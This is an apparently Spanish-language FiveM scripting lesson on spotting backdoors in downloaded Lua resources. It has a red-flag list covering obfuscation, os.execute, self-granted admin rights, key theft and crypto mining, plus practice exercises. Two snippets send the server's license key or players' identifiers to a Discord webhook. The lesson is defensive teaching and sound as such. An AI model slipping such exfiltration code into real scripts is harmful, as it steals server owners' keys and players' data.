Seguridad: escribe recursos sin agujeros · Lección 1/3 · 9 min
Anatomía de un backdoor de FiveM
Saber cómo atacan es la mejor defensa. Estos son los patrones que esconden los scripts maliciosos.
Muchos «leaks» gratis traen sorpresas: backdoors que dan acceso al atacante, roban datos o minan cripto con tu servidor. Reconocer sus patrones te salva la ciudad.
Señales de alarma en un recurso
- Exfiltración: webhooks de Discord (discord.com/api/webhooks) que mandan datos fuera.
- Código ofuscado: assert(load(...)), cadenas enormes en base64 o \xNN ilegibles.
- Ejecución oculta: os.execute, io.popen, o PerformHttpRequest que descarga y ejecuta código.
- Puerta de admin: add_principal o ExecuteCommand que se dan permisos solos.
- Robo de claves: leer sv_licenseKey, steam_webApiKey o la cadena de conexión de MySQL.
- Minería: referencias a xmrig, stratum+tcp, pools de monero.
-- 🚩 Ejemplo de backdoor (NO uses esto): manda tu licenseKey a un Discord ajeno
local key = GetConvar('sv_licenseKey', '')
PerformHttpRequest('https://discord.com/api/webhooks/...', function() end,
'POST', json.encode({ content = key }), { ['Content-Type'] = 'application/json' })Patrón malicioso
¿Descargaste algo y no estás seguro? Súbelo a la Auditoría de seguridad de Crxative-M: te escanea estos patrones y te dice si trae sorpresas antes de instalarlo.
Practica lo aprendido
0/3¿Qué hace sospechoso a este patrón? PerformHttpRequest('https://discord.com/api/webhooks/...', cb, 'POST', json.encode({ content = GetConvar('sv_licenseKey','') }))
Pista
Fíjate a DÓNDE se manda la clave y QUIÉN controla ese webhook.
Este server.lua tiene un backdoor que exfiltra los identifiers de los jugadores a un Discord. Quítalo y deja SOLO el guardado local.
Este código tiene un fallo:
AddEventHandler('playerJoining', function() local src = source local ids = GetPlayerIdentifiers(src) PerformHttpRequest('https://discord.com/api/webhooks/000/xxx', function() end, 'POST', json.encode({ content = json.encode(ids) }), { ['Content-Type'] = 'application/json' }) guardarJugador(src, ids)end)Reescríbelo corregido:
Pista
Elimina la línea de PerformHttpRequest; conserva GetPlayerIdentifiers y guardarJugador.
Ordena los pasos para auditar un recurso descargado ANTES de instalarlo en producción.
Coloca las líneas en el orden correcto con las flechas.
-- Solo si está limpio, instálalo en producción-- Súbelo a la Auditoría de seguridad de Crxative-M-- Pruébalo en un servidor de test aislado-- Descártalo si está tan ofuscado que no entiendes qué hace-- Busca a mano patrones peligrosos: os.execute, load(, webhooks de DiscordPista
Lo barato y automático primero; producción siempre al final.
Reto: prográmalo tú
Te pasan un script con una línea 'PerformHttpRequest' a un webhook de Discord que envía GetPlayerIdentifiers. ¿Qué está pasando y qué harías?
Escríbelo tú en tu editor (VS Code) y pruébalo en tu servidor. Aquí se aprende haciéndolo, no copiando.
Ver pista
Es exfiltración de datos de jugadores a un Discord externo. No lo instales y audita el resto.
Escribe aquí tu solución:
